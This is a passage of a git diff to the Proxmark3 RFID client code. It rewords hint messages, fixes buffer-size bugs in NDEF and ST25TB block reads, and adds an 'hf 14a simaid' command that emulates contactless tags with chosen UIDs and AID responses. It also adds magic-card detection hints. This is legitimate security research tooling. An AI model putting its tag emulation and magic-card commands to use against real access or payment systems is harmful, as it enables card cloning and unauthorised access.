mfu *") "` magic commands"); } - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf mfu info") "`"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfu info") "`"); } if (isMifarePlus && (isMagic == MAGIC_FLAG_NONE)) { - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf mfp info") "`"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfp info") "`"); } if (isMifareDESFire && (isMagic == MAGIC_FLAG_NONE) && isEMV == false) { - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf mfdes info") "`"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfdes info") "`"); } if (isST) { - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf st info") "`"); + if (card.ats_len > 0) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf st25ta info") "`"); + } else { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfu info") "`"); + } } if (isEMV) { - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("emv reader") "`"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("emv reader") "`"); } if (isSEOS) { - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf seos info") "`"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf seos info") "`"); } if (isFUDAN) { - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf fudan dump") "`"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf fudan dump") "`"); /* PrintAndLogEx(HINT, " hf 14a raw -a -b 7 -k 26"); PrintAndLogEx(HINT, " hf 14a raw -k -c 3000"); @@ -2692,35 +3231,35 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { } if (isNTAG424) { - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf ntag424 info") "`"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf ntag424 info") "`"); } if (isMifareClassic || isMifareMini) { if (((isMagic & MAGIC_FLAG_GEN_1A) == MAGIC_FLAG_GEN_1A) || ((isMagic & MAGIC_FLAG_GEN_1B) == MAGIC_FLAG_GEN_1B)) { - PrintAndLogEx(HINT, "Hint: use `" _YELLOW_("hf mf c*") "` magic commands"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf mf c*") "` magic commands"); // if GEN4 GDM in Gen1a more, hint about it - if ((isMagic & MAGIC_FLAG_GDM_WUP_40) == MAGIC_FLAG_GDM_WUP_40) { - PrintAndLogEx(HINT, "Hint: use `" _YELLOW_("hf mf gdm* --gen1a") "` magic commands"); + if (((isMagic & MAGIC_FLAG_GDM_WUP_40) == MAGIC_FLAG_GDM_WUP_40) || ((isMagic & MAGIC_FLAG_GDM_WUP_40_ZUID) == MAGIC_FLAG_GDM_WUP_40_ZUID)) { + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf mf gdm* --gen1a") "` magic commands"); } } if ((isMagic & MAGIC_FLAG_GEN_3) == MAGIC_FLAG_GEN_3) { - PrintAndLogEx(HINT, "Hint: use `" _YELLOW_("hf mf gen3*") "` magic commands"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf mf gen3*") "` magic commands"); } if ((isMagic & MAGIC_FLAG_GEN_4GTU) == MAGIC_FLAG_GEN_4GTU) { - PrintAndLogEx(HINT, "Hint: use `" _YELLOW_("hf mf g*") "` magic commands"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf mf g*") "` magic commands"); } if ((isMagic & MAGIC_FLAG_GDM_AUTH) == MAGIC_FLAG_GDM_AUTH) { - PrintAndLogEx(HINT, "Hint: use `" _YELLOW_("hf mf gdm*") "` magic commands"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf mf gdm*") "` magic commands"); } if ((isMagic & MAGIC_FLAG_GEN_2) == MAGIC_FLAG_GEN_2) { - PrintAndLogEx(HINT, "Hint: use `" _YELLOW_("hf mf") "` commands"); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf mf") "` commands"); } else { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf mf`") " commands"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf mf info`")); } } @@ -2767,11 +3306,11 @@ int infoHF14A4Applications(bool verbose) { } if (found >= ARRAYLEN(hintAIDList) - 1) { - PrintAndLogEx(HINT, "Hint: card answers to all AID. It maybe the latest revision of plus/desfire/ultralight card."); + PrintAndLogEx(HINT, "Hint: Card answers to all AID. It maybe the latest revision of plus/desfire/ultralight card."); } else { for (int i = 0; i < ARRAYLEN(hintAIDList); i++) { if (cardFound[i] && strlen(hintAIDList[i].hint)) - PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("%s") "` commands", hintAIDList[i].hint); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("%s") "` commands", hintAIDList[i].hint); } } } @@ -3151,9 +3690,10 @@ int CmdHF14ANdefRead(const char *Cmd) { uint16_t ndef_size = (response[0] << 8) + response[1]; uint16_t offset = 2; + uint8_t *ndef_file = calloc(ndef_size, sizeof(uint8_t)); if (ndef_file == NULL) { - PrintAndLogEx(ERR, "Out of memory error in CmdHF14ANdef(). Aborting...\n"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); DropField(); return PM3_EMALLOC; } @@ -3165,13 +3705,22 @@ int CmdHF14ANdefRead(const char *Cmd) { return PM3_EOVFLOW; } - for (uint16_t i = offset; i < ndef_size + offset; i += max_rapdu_size) { - uint16_t segment_size = max_rapdu_size < ndef_size + offset - i ? max_rapdu_size : ndef_size + offset - i; + for (size_t i = offset; i < ndef_size + offset; i += max_rapdu_size) { + size_t segment_size = max_rapdu_size < ndef_size + offset - i ? max_rapdu_size : ndef_size + offset - i; + keep_field_on = i < ndef_size + offset - max_rapdu_size; aREAD_NDEF_n = 0; param_gethex_to_eol("00b00000", 0, aREAD_NDEF, sizeof(aREAD_NDEF), &aREAD_NDEF_n); aREAD_NDEF[2] = i >> 8; aREAD_NDEF[3] = i & 0xFF; + + // Segment_size is stuffed into a single-byte field below ... so error out if overflows + if (segment_size > 0xFFu) { + PrintAndLogEx(ERR, "Segment size too large (0x%zx > 0xFF)", segment_size); + DropField(); + free(ndef_file); + return PM3_EOVFLOW; + } aREAD_NDEF[4] = segment_size; res = ExchangeAPDU14a(aREAD_NDEF, aREAD_NDEF_n + 1, activate_field, keep_field_on, response, sizeof(response), &resplen); @@ -3190,7 +3739,7 @@ int CmdHF14ANdefRead(const char *Cmd) { } if (resplen != segment_size + 2) { - PrintAndLogEx(ERR, "reading NDEF file failed, expected %i bytes, got %i bytes.", segment_size, resplen - 2); + PrintAndLogEx(ERR, "reading NDEF file failed, expected %zu bytes, got %i bytes.", segment_size, resplen - 2); DropField(); free(ndef_file); return PM3_ESOFT; @@ -3210,14 +3759,15 @@ int CmdHF14ANdefRead(const char *Cmd) { pm3_save_dump(filename, ndef_file, ndef_size, jsfNDEF); if (verbose == false) { - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf 14a ndefread -v`") " for more details"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf 14a ndefread -v`") " for more details"); } else { if (verbose2 == false) { - PrintAndLogEx(HINT, "Try " _YELLOW_("`hf 14a ndefread -vv`") " for more details"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf 14a ndefread -vv`") " for more details"); } } free(ndef_file); + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -3477,8 +4027,8 @@ int CmdHF14ANdefFormat(const char *Cmd) { DropField(); } + PrintAndLogEx(INFO, "Done!"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "finished"); return PM3_SUCCESS; } @@ -3630,11 +4180,197 @@ int CmdHF14ANdefWrite(const char *Cmd) { PrintAndLogEx(INFO, "Write data file %02x " _GREEN_("success"), fnum); } + PrintAndLogEx(INFO, "Done!"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "finished"); return PM3_SUCCESS; } +/* + * Simulate ISO/IEC 14443 type A tag with 4,7 or 10 byte UID, and filter for AID Values + * These AID Values can be responded to and include extra APDU commands after verification +*/ + +int CmdHF14AAIDSim(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf 14a simaid", + "Simulate ISO/IEC 14443 type A tag with 4,7 or 10 byte UID, and filter for AID Values\n" + "These AID Values can be responded to and include extra APDU commands on GetData after response\n", + "hf 14a simaid -t 3 -> MIFARE Desfire\n" + "hf 14a simaid -t 4 -> ISO/IEC 14443-4\n" + "hf 14a simaid -t 11 -> Javacard (JCOP)\n" + "hf 14a simaid -t 3 --aid a000000000000000000000 --selectaid_response 9000 --getdata_response 9000 -> Custom AID and responses\n" + "hf 14a simaid -t 3 --ats 0578817222 --selectaid_response 01009000 --getdata_response 86009000 -> Custom ATS and responses\n" + "hf 14a simaid -t 3 --ats 0578817222 -x -> Enumerate AID Values\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_int1("t", "type", "<1-12> ", "Simulation type to use"), + arg_str0("u", "uid", "", "<4|7|10> hex bytes UID"), + arg_str0("r", "ats", "", "<0-20> hex bytes ATS"), + arg_str0("a", "aid", "", "<0-30> hex bytes for AID to respond to (Default: A000000000000000000000)"), + arg_str0("e", "selectaid_response", "", "<0-100> hex bytes for APDU Response to AID Select (Default: 9000)"), + arg_str0("p", "getdata_response", "", "<0-100> hex bytes for APDU Response to Get Data request after AID (Default: 9000)"), + arg_lit0("x", "enumerate", "Enumerate all AID values via returning Not Found and print them to console "), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int uid_len = 0; + int ats_len = 0; + int aid_len = 0; + int selectaid_response_len = 0; + int getdata_response_len = 0; + + uint8_t uid[10] = {0}; + uint8_t ats[20] = {0}; + uint8_t aid[30] = {0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t default_aid_len = 11; + uint8_t selectaid_response[100] = {0x90, 0x00}; + uint8_t default_selectaid_response_len = 2; + uint8_t getdata_response[100] = {0x90, 0x00}; + uint8_t default_getdata_response_len = 2; + + int tagtype = arg_get_int_def(ctx, 1, 1); + CLIGetHexWithReturn(ctx, 2, uid, &uid_len); + CLIGetHexWithReturn(ctx, 3, ats, &ats_len); + CLIGetHexWithReturn(ctx, 4, aid, &aid_len); + CLIGetHexWithReturn(ctx, 5, selectaid_response, &selectaid_response_len); + CLIGetHexWithReturn(ctx, 6, getdata_response, &getdata_response_len); + bool enumerate = arg_get_lit(ctx, 7); + CLIParserFree(ctx); + + // default value fill for the AID, selectaid_response, and getdata_response + if (aid_len == 0) { + aid_len = default_aid_len; + } + + if (selectaid_response_len == 0) { + selectaid_response_len = default_selectaid_response_len; + } + if (getdata_response_len == 0) { + getdata_response_len = default_getdata_response_len; + } + + uint16_t flags = 0; + bool useUIDfromEML = true; + + if (uid_len > 0) { + FLAG_SET_UID_IN_DATA(flags, uid_len); + if (IS_FLAG_UID_IN_EMUL(flags)) { + PrintAndLogEx(ERR, "Please specify a 4, 7, or 10 byte UID"); + return PM3_EINVARG; + } + PrintAndLogEx(SUCCESS, "Emulating " _YELLOW_("ISO/IEC 14443 type A tag")" with " _GREEN_("%d byte UID (%s)"), uid_len, sprint_hex(uid, uid_len)); + useUIDfromEML = false; + } + + if (ats_len > sizeof(ats)) { + PrintAndLogEx(ERR, "Provided ATS too long"); + return PM3_EINVARG; + } + + if (aid_len > sizeof(aid)) { + PrintAndLogEx(ERR, "Provided AID too long"); + return PM3_EINVARG; + } + + if (selectaid_response_len > sizeof(selectaid_response)) { + PrintAndLogEx(ERR, "Provided SelectAID response too long"); + return PM3_EINVARG; + } + + if (getdata_response_len > sizeof(getdata_response)) { + PrintAndLogEx(ERR, "Provided GetData response too long"); + return PM3_EINVARG; + } + + if (ats_len > 0) { + flags |= FLAG_ATS_IN_DATA; + } + + if (enumerate) { + flags |= FLAG_ENUMERATE_AID; + } + + if (tagtype > 12) { + PrintAndLogEx(ERR, "Undefined tag %d", tagtype); + return PM3_EINVARG; + } + + if (useUIDfromEML) { + FLAG_SET_UID_IN_EMUL(flags); + } + + struct { + uint8_t tagtype; + uint16_t flags; + uint8_t uid[10]; + uint8_t ats[20]; + uint8_t aid[30]; + uint8_t selectaid_response[100]; + uint8_t getdata_response[100]; + uint32_t ats_len; + uint32_t aid_len; + uint32_t selectaid_response_len; + uint32_t getdata_response_len; + } PACKED payload; + + payload.tagtype = tagtype; + payload.flags = flags; + + // Copy data to payload + memcpy(payload.uid, uid, uid_len); + memcpy(payload.ats, ats, ats_len); + memcpy(payload.aid, aid, aid_len); + memcpy(payload.selectaid_response, selectaid_response, selectaid_response_len); + memcpy(payload.getdata_response, getdata_response, getdata_response_len); + + // copy the lengths data to the payload + payload.ats_len = ats_len; + payload.aid_len = aid_len; + payload.selectaid_response_len = selectaid_response_len; + payload.getdata_response_len = getdata_response_len; + + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO14443A_SIM_AID, (uint8_t *)&payload, sizeof(payload)); + PacketResponseNG resp = {0}; + + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort simulation"); + bool keypress = kbd_enter_pressed(); + while (keypress == false) { + + if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == false) { + continue; + } + + if (resp.status != PM3_SUCCESS) { + break; + } + + if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) { + break; + } + + keypress = kbd_enter_pressed(); + } + + if (keypress) { + if ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) { + // inform device to break the sim loop since client has exited + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + } + } + + + PrintAndLogEx(INFO, "Done!"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace list -t 14a")"` to view captured tracelog"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); + + return PM3_SUCCESS; +} + + static command_t CommandTable[] = { {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("General") " -----------------------"}, {"help", CmdHelp, AlwaysAvailable, "This help"}, @@ -3645,6 +4381,7 @@ static command_t CommandTable[] = { {"cuids", CmdHF14ACUIDs, IfPm3Iso14443a, "Collect n>0 ISO14443-a UIDs in one go"}, {"info", CmdHF14AInfo, IfPm3Iso14443a, "Tag information"}, {"sim", CmdHF14ASim, IfPm3Iso14443a, "Simulate ISO 14443-a tag"}, + {"simaid", CmdHF14AAIDSim, IfPm3Iso14443a, "Simulate ISO 14443-a AID Selection"}, {"sniff", CmdHF14ASniff, IfPm3Iso14443a, "sniff ISO 14443-a traffic"}, {"raw", CmdHF14ACmdRaw, IfPm3Iso14443a, "Send raw hex data to tag"}, {"reader", CmdHF14AReader, IfPm3Iso14443a, "Act like an ISO14443-a reader"}, diff --git a/client/src/cmdhf14a.h b/client/src/cmdhf14a.h index 7b5bc48be..2e438a2d6 100644 --- a/client/src/cmdhf14a.h +++ b/client/src/cmdhf14a.h @@ -20,7 +20,7 @@ #define CMDHF14A_H__ #include "common.h" -#include "pm3_cmd.h" //hf14a_config +#include "pm3_cmd.h" //hf14a_config_t #include "mifare.h" // structs // structure and database for uid -> tagtype lookups @@ -36,6 +36,16 @@ typedef struct { const char *hint; } hintAIDList_t; +typedef struct { + uint8_t vendor_id; + uint8_t product_type; + uint8_t product_subtype; + uint8_t major_product_version; + uint8_t minor_product_version; + uint8_t storage_size; + uint8_t protocol_type; +} version_hw_t; + typedef enum { MTNONE = 0, MTCLASSIC = 1, @@ -49,19 +59,26 @@ typedef enum { MTFUDAN = 256, MTISO18092 = 512, MT424 = 1024, + MTULTRALIGHT_C = 2048, + MTDUOX = 4096, + MTNTAG = 8192, } nxp_mifare_type_t; int CmdHF14A(const char *Cmd); int CmdHF14ASniff(const char *Cmd); // used by hf topaz sniff int CmdHF14ASim(const char *Cmd); // used by hf mfu sim +int CmdHF14AAIDSim(const char *Cmd); int CmdHF14ANdefRead(const char *Cmd); // used by cmdnfc.c int CmdHF14ANdefFormat(const char *Cmd); // used by cmdnfc.c int CmdHF14ANdefWrite(const char *Cmd); // used by cmdnfc.c -int detect_nxp_card(uint8_t sak, uint16_t atqa, uint64_t select_status); -int hf14a_getconfig(hf14a_config *config); -int hf14a_setconfig(hf14a_config *config, bool verbose); +int detect_nxp_card(uint8_t sak, uint16_t atqa, uint64_t select_status, + uint8_t ats_hist_len, uint8_t *ats_hist, + bool version_hw_available, version_hw_t *version_hw); + +int hf14a_getconfig(hf14a_config_t *config); +int hf14a_setconfig(hf14a_config_t *config, bool verbose); int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search); int infoHF14A4Applications(bool verbose); const char *getTagInfo(uint8_t uid); @@ -69,10 +86,11 @@ int Hf14443_4aGetCardData(iso14a_card_select_t *card); int ExchangeAPDU14a(const uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode); -iso14a_polling_parameters_t iso14a_get_polling_parameters(bool use_ecp, bool use_magsafe); int SelectCard14443A_4(bool disconnect, bool verbose, iso14a_card_select_t *card); int SelectCard14443A_4_WithParameters(bool disconnect, bool verbose, iso14a_card_select_t *card, iso14a_polling_parameters_t *polling_parameters); bool Get_apdu_in_framing(void); void Set_apdu_in_framing(bool v); +int hf14a_getversion_data(iso14a_card_select_t *card, uint64_t select_status, version_hw_t *hw); + #endif diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index d2785a517..d64d200a7 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -392,13 +392,13 @@ uint8_t *get_uid_from_filename(const char *filename) { memset(uid, 0, 8); if (strlen(filename) < 23) { - PrintAndLogEx(ERR, "can't get uid from filename '%s'. Expected format is hf-14b-...", filename); + PrintAndLogEx(ERR, "can't get uid from filename `" _YELLOW_("%s") "` expected format is hf-14b-...", filename); return uid; } char *found = strstr(filename, "hf-14b-"); if (found == NULL) { - PrintAndLogEx(ERR, "can't get uid from filename '%s'. Expected format is hf-14b-...", filename); + PrintAndLogEx(ERR, "can't get uid from filename `" _YELLOW_("%s") "` expected format is hf-14b-...", filename); return uid; } @@ -465,6 +465,27 @@ static int print_atqb_resp(uint8_t *data, uint8_t cid) { PrintAndLogEx(SUCCESS, "Tag :"); PrintAndLogEx(SUCCESS, " Max Buf Length: %u (MBLI) %s", cid >> 4, (cid & 0xF0) ? "" : "chained frames not supported"); PrintAndLogEx(SUCCESS, " CID : %u", cid & 0x0f); + PrintAndLogEx(NORMAL, ""); + + PrintAndLogEx(INFO, "--- " _CYAN_("Fingerprint")); + if (memcmp(data, "\x54\x43\x4F\x53", 4) == 0) { + + int outlen = 0; + uint8_t out[PM3_CMD_DATA_SIZE] = {0}; + uint8_t tcos_version[] = {0x90, 0xB2, 0x90, 0x00, 0x00}; + if (exchange_14b_apdu(tcos_version, sizeof(tcos_version), true, false, out, PM3_CMD_DATA_SIZE, &outlen, -1) == PM3_SUCCESS) { + if (outlen > 2) { + PrintAndLogEx(SUCCESS, "Tiananxin TCOS CPU card... " _YELLOW_("%s"), sprint_ascii(out, outlen - 2)); + } else { + PrintAndLogEx(SUCCESS, "Tiananxin TCOS CPU card... " _RED_("n/a")); + } + PrintAndLogEx(SUCCESS, "Magic capabilities........ most likely"); + } + + } else { + PrintAndLogEx(INFO, "n/a"); + } + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -548,7 +569,7 @@ static const char *get_st_lock_info(uint8_t model, const uint8_t *lockbytes, uin default: return ST_LOCK_INFO_EMPTY; } - if ((lockbytes[1] & mask) == 0) { + if ((lockbytes[3] & mask) == 0) { return _RED_("1"); } return ST_LOCK_INFO_EMPTY; @@ -557,7 +578,7 @@ static const char *get_st_lock_info(uint8_t model, const uint8_t *lockbytes, uin case 0x6: // SRI512 case 0xC: { // SRT512 //need data[2] and data[3] - uint8_t b = 1; + uint8_t b = 2; switch (blk) { case 0: mask = 0x01; @@ -585,35 +606,35 @@ static const char *get_st_lock_info(uint8_t model, const uint8_t *lockbytes, uin break; case 8: mask = 0x01; - b = 0; + b = 3; break; case 9: mask = 0x02; - b = 0; + b = 3; break; case 10: mask = 0x04; - b = 0; + b = 3; break; case 11: mask = 0x08; - b = 0; + b = 3; break; case 12: mask = 0x10; - b = 0; + b = 3; break; case 13: mask = 0x20; - b = 0; + b = 3; break; case 14: mask = 0x40; - b = 0; + b = 3; break; case 15: mask = 0x80; - b = 0; + b = 3; break; } if ((lockbytes[b] & mask) == 0) { @@ -658,7 +679,7 @@ static const char *get_st_lock_info(uint8_t model, const uint8_t *lockbytes, uin break; } // iceman: this is opposite! need sample to test with. - if ((lockbytes[0] & mask)) { + if ((lockbytes[2] & mask)) { return _RED_("1"); } return ST_LOCK_INFO_EMPTY; @@ -886,7 +907,7 @@ static int CmdHF14BSniff(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf 14b sniff", - "Sniff the communication between reader and tag.\n" + "Sniff the communication between reader and tag\n" "Use `hf 14b list` to view collected data.", "hf 14b sniff" ); @@ -904,8 +925,8 @@ static int CmdHF14BSniff(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO14443B_SNIFF, NULL, 0); WaitForResponse(CMD_HF_ISO14443B_SNIFF, &resp); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf 14b list") "` to view captured tracelog"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 14b list") "` to view captured tracelog"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); return PM3_SUCCESS; } @@ -1024,7 +1045,7 @@ static int CmdHF14BRaw(const char *Cmd) { iso14b_raw_cmd_t *packet = (iso14b_raw_cmd_t *)calloc(1, sizeof(iso14b_raw_cmd_t) + datalen); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1204,7 +1225,7 @@ static int CmdHF14Binfo(const char *Cmd) { // #define ISO14443B_READ_BLK 0x08 // #define ISO14443B_WRITE_BLK 0x09 -static int read_sr_block(uint8_t blockno, uint8_t *out) { +static int read_sr_block(uint8_t blockno, uint8_t *out, uint16_t out_len) { struct { uint8_t blockno; } PACKED payload; @@ -1219,7 +1240,7 @@ static int read_sr_block(uint8_t blockno, uint8_t *out) { } if (resp.status == PM3_SUCCESS && out) { - memcpy(out, resp.data.asBytes, resp.length); + memcpy(out, resp.data.asBytes, MIN(out_len, resp.length)); } return resp.status; } @@ -1229,7 +1250,7 @@ static int write_sr_block(uint8_t blockno, uint8_t datalen, uint8_t *data) { uint8_t psize = sizeof(iso14b_raw_cmd_t) + datalen + 2; iso14b_raw_cmd_t *packet = (iso14b_raw_cmd_t *)calloc(1, psize); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1412,7 +1433,7 @@ static bool HF14B_picopass_reader(bool verbose) { picopass_hdr_t *card = calloc(1, sizeof(picopass_hdr_t)); if (card == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return false; } memcpy(card, resp.data.asBytes, sizeof(picopass_hdr_t)); @@ -1442,7 +1463,7 @@ static bool HF14B_other_reader(bool verbose) { iso14b_raw_cmd_t *packet = (iso14b_raw_cmd_t *)calloc(1, sizeof(iso14b_raw_cmd_t) + 4); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return false; } packet->flags = (ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_RAW | ISO14B_APPEND_CRC); @@ -1560,8 +1581,8 @@ static int CmdHF14BSriRdBl(const char *Cmd) { uint8_t blocks = (cardtype == 1) ? 0x7F : 0x0F; */ - uint8_t out[4] = {0}; - int status = read_sr_block(blockno, out); + uint8_t out[ST25TB_SR_BLOCK_SIZE] = {0}; + int status = read_sr_block(blockno, out, sizeof(out)); if (status == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "block %02u... " _GREEN_("%s") " | " _GREEN_("%s"), blockno, sprint_hex(out, sizeof(out)), sprint_ascii(out, sizeof(out))); } @@ -1605,7 +1626,7 @@ static int CmdHF14BSriWrbl(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); int blockno = arg_get_int_def(ctx, 1, -1); int dlen = 0; - uint8_t data[4] = {0, 0, 0, 0}; + uint8_t data[ST25TB_SR_BLOCK_SIZE] = {0, 0, 0, 0}; int res = CLIParamHexToBuf(arg_get_str(ctx, 2), data, sizeof(data), &dlen); if (res) { CLIParserFree(ctx); @@ -1673,8 +1694,8 @@ static int CmdHF14BSriWrbl(const char *Cmd) { } // verify - uint8_t out[4] = {0}; - status = read_sr_block(blockno, out); + uint8_t out[ST25TB_SR_BLOCK_SIZE] = {0}; + status = read_sr_block(blockno, out, sizeof(out)); if (status == PM3_SUCCESS) { if (memcmp(data, out, 4) == 0) { PrintAndLogEx(SUCCESS, "SRx write block ( " _GREEN_("ok") " )"); @@ -1772,7 +1793,7 @@ static int CmdHF14BDump(const char *Cmd) { iso14b_raw_cmd_t *packet = (iso14b_raw_cmd_t *)calloc(1, sizeof(iso14b_raw_cmd_t) + 2); if (packet == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } packet->flags = (ISO14B_CONNECT | ISO14B_SELECT_SR); @@ -1951,7 +1972,7 @@ static int CmdHF14BRestore(const char *Cmd) { // verify uint8_t out[ST25TB_SR_BLOCK_SIZE] = {0}; - status = read_sr_block(blockno, out); + status = read_sr_block(blockno, out, sizeof(out)); if (status == PM3_SUCCESS) { if (memcmp(data + blockno * ST25TB_SR_BLOCK_SIZE, out, ST25TB_SR_BLOCK_SIZE) == 0) { printf("\33[2K\r"); @@ -2212,7 +2233,7 @@ static int handle_14b_apdu(bool chainingin, uint8_t *datain, int datainlen, iso14b_raw_cmd_t *packet = (iso14b_raw_cmd_t *)calloc(1, sizeof(iso14b_raw_cmd_t) + datainlen); if (packet == NULL) { - PrintAndLogEx(FAILED, "APDU: failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } packet->flags = (ISO14B_APDU); @@ -2482,7 +2503,7 @@ static int CmdHF14BAPDU(const char *Cmd) { return res; } - PrintAndLogEx(INFO, "<<<< %s", sprint_hex(data, datalen)); + PrintAndLogEx(INFO, "<<<< %s - %s", sprint_hex_inrow(data, datalen), sprint_ascii(data, datalen)); uint16_t sw = get_sw(data, datalen); if (sw != ISO7816_OK) { PrintAndLogEx(SUCCESS, "APDU response: " _YELLOW_("%02x %02x") " - %s" @@ -2687,25 +2708,32 @@ static int CmdHF14BCalypsoRead(const char *Cmd) { CLIParserFree(ctx); transport_14b_apdu_t cmds[] = { - {"01.Select ICC file", "\x94\xa4\x08\x00\x04\x3f\x00\x00\x02", 9}, - {"02.ICC", "\x94\xb2\x01\x04\x1d", 5}, - {"03.Select EnvHol file", "\x94\xa4\x08\x00\x04\x20\x00\x20\x01", 9}, - {"04.EnvHol1", "\x94\xb2\x01\x04\x1d", 5}, - {"05.Select EvLog file", "\x94\xa4\x08\x00\x04\x20\x00\x20\x10", 9}, - {"06.EvLog1", "\x94\xb2\x01\x04\x1d", 5}, - {"07.EvLog2", "\x94\xb2\x02\x04\x1d", 5}, - {"08.EvLog3", "\x94\xb2\x03\x04\x1d", 5}, - {"09.Select ConList file", "\x94\xa4\x08\x00\x04\x20\x00\x20\x50", 9}, - {"10.ConList", "\x94\xb2\x01\x04\x1d", 5}, - {"11.Select Contra file", "\x94\xa4\x08\x00\x04\x20\x00\x20\x20", 9}, - {"12.Contra1", "\x94\xb2\x01\x04\x1d", 5}, - {"13.Contra2", "\x94\xb2\x02\x04\x1d", 5}, - {"14.Contra3", "\x94\xb2\x03\x04\x1d", 5}, - {"15.Contra4", "\x94\xb2\x04\x04\x1d", 5}, - {"16.Select Counter file", "\x94\xa4\x08\x00\x04\x20\x00\x20\x69", 9}, - {"17.Counter", "\x94\xb2\x01\x04\x1d", 5}, - {"18.Select SpecEv file", "\x94\xa4\x08\x00\x04\x20\x00\x20\x40", 9}, - {"19.SpecEv1", "\x94\xb2\x01\x04\x1d", 5}, + {"01.Select ICC ", "\x94\xa4\x08\x00\x04\x3f\x00\x00\x02", 9}, + {"02.ICC ", "\x94\xb2\x01\x04\x1d", 5}, + {"03.Select EnvHol ", "\x94\xa4\x08\x00\x04\x20\x00\x20\x01", 9}, + {"04.EnvHol1 ", "\x94\xb2\x01\x04\x1d", 5}, + {"05.Select EvLog ", "\x94\xa4\x08\x00\x04\x20\x00\x20\x10", 9}, + {"06.EvLog1 ", "\x94\xb2\x01\x04\x1d", 5}, + {"07.EvLog2 ", "\x94\xb2\x02\x04\x1d", 5}, + {"08.EvLog3 ", "\x94\xb2\x03\x04\x1d", 5}, + {"09.Select ConList ", "\x94\xa4\x08\x00\x04\x20\x00\x20\x50", 9}, + {"10.ConList ", "\x94\xb2\x01\x04\x1d", 5}, + {"11.Select Contra ", 